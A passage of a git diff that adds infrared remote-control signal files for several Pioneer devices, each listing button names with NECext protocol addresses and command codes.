+protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0C 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: disc+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1D 00 00 00 +# +name: set_track +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 40 00 00 00 +# +name: set_disc +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 41 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: disc- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir new file mode 100644 index 000000000..a6abe441a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD085/162,-1.ir @@ -0,0 +1,146 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: out+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: out- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: for +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: rev +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: rnd +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: >10 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 +# +name: hi-lite +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir new file mode 100644 index 000000000..6844701f2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_CU-PD089/162,-1.ir @@ -0,0 +1,254 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0C 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: KEY_BACK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: DISK_+ +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1D 00 00 00 +# +name: TRACK_SET +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 40 00 00 00 +# +name: DISC_SET +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 41 00 00 00 +# +name: TIME/CHARA +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 43 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: HI-LITE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 +# +name: DISK_-2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 93 00 00 00 +# +name: TITLE_DISPLAY2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 94 00 00 00 +# +name: TITLE_INPUT2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 95 00 00 00 +# +name: BEST2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9B 00 00 00 +# +name: CURSOR_right2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9B 00 00 00 +# +name: MODE2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: CURSOR_left2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 9C 00 00 00 +# +name: KEY_MODE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: TITLE_INPUT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: DISK_- +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C1 00 00 00 +# +name: BEST +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: TITLE_DISPLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C2 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 +# +name: CURSOR_left +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 +# +name: CURSOR_right +type: parsed +protocol: NECext +address: A2 00 00 00 +command: C6 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir new file mode 100644 index 000000000..78bbcb52a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_DEH-D8850/0,-1.ir @@ -0,0 +1,194 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: SPEEDright +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: goto +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: rep +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0E 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_TITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 12 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 14 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 15 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 16 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 17 00 00 00 +# +name: sel +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 19 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1A 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1B 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1C 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1D 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1E 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 1F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 40 00 00 00 +# +name: L/R +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 48 00 00 00 +# +name: root +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4C 00 00 00 +# +name: KEY_0+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 4D 00 00 00 +# +name: SPEEDleft +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 54 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir new file mode 100644 index 000000000..543d27238 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_PD-M650/162,-1.ir @@ -0,0 +1,206 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: Manual_R +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: Manual_L +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: Track_R +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: Track_L +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: D1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1E 00 00 00 +# +name: D2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1F 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: CHECK +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 49 00 00 00 +# +name: Random +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: D3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 50 00 00 00 +# +name: KEY_10CHANNELSUP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 52 00 00 00 +# +name: D4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 53 00 00 00 +# +name: +20 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 +# +name: D5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 57 00 00 00 +# +name: D6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5B 00 00 00 +# +name: KEY_DELETE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5D 00 00 00 +# +name: High_Light_Scan +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 5E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir new file mode 100644 index 000000000..d556c63a4 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_Pioneer-CU-XR014/2,1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 00 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 01 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 02 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 03 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 04 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 05 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 06 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 07 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0B 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0E 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 0F 00 00 00 +# +name: MEM_SCAN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 11 00 00 00 +# +name: MONO +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 12 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 17 00 00 00 +# +name: TUNER_BAND +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 19 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1B 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1C 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1E 00 00 00 +# +name: AUX_VIDEO +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 1F 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 20 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 21 00 00 00 +# +name: PROGRAM +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 22 00 00 00 +# +name: RANDOM +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 23 00 00 00 +# +name: DISC +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 27 00 00 00 +# +name: CD_PLAY_PAUSE +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2B 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2C 00 00 00 +# +name: SCAN +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2D 00 00 00 +# +name: CD_STOP +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 2F 00 00 00 +# +name: CD_PREV +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 34 00 00 00 +# +name: CD_NEXT +type: parsed +protocol: NECext +address: 02 01 00 00 +command: 36 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir new file mode 100644 index 000000000..821095254 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_VXX2801/163,-1.ir @@ -0,0 +1,224 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 98 00 00 00 +# +name: STANDBY/ON +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_OPEN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_SUBTITLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_ANGLE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: TOP_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_MENU +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_LEFT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_RIGHT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_SETUP +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_ENTER +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: BWD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: SURROUND +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_ZOOM +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: DISPLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 99 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9C 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9D 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9E 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A3 00 00 00 +command: 9F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir new file mode 100644 index 000000000..c768ddae2 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_cu-pd096/162,-1.ir @@ -0,0 +1,140 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0A 00 00 00 +# +name: KEY_KPMINUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0B 00 00 00 +# +name: PGM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_NEXT +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_PREVIOUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: RDM +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 56 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir new file mode 100644 index 000000000..32f1dc783 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Pioneer/Unknown_pioneer/162,-1.ir @@ -0,0 +1,236 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 09 00 00 00 +# +name: KEY_AGAIN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0C 00 00 00 +# +name: pgm +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0D 00 00 00 +# +name: KEY_FORWARD +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0E 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 0F 00 00 00 +# +name: KEY_UP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 10 00 00 00 +# +name: KEY_DOWN +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 11 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 16 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 17 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 18 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1C 00 00 00 +# +name: KEY_KPPLUS +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 1D 00 00 00 +# +name: track_set +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 40 00 00 00 +# +name: disc_set +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 41 00 00 00 +# +name: KEY_TIME +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 43 00 00 00 +# +name: KEY_CLEAR +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 45 00 00 00 +# +name: random +type: parsed +protocol: NECext +address: A2 00 00 00 +command: 4A 00 00 00 +# +name: hi-lite +type: parsed +protocol: NECext +address: A2 00 00 00 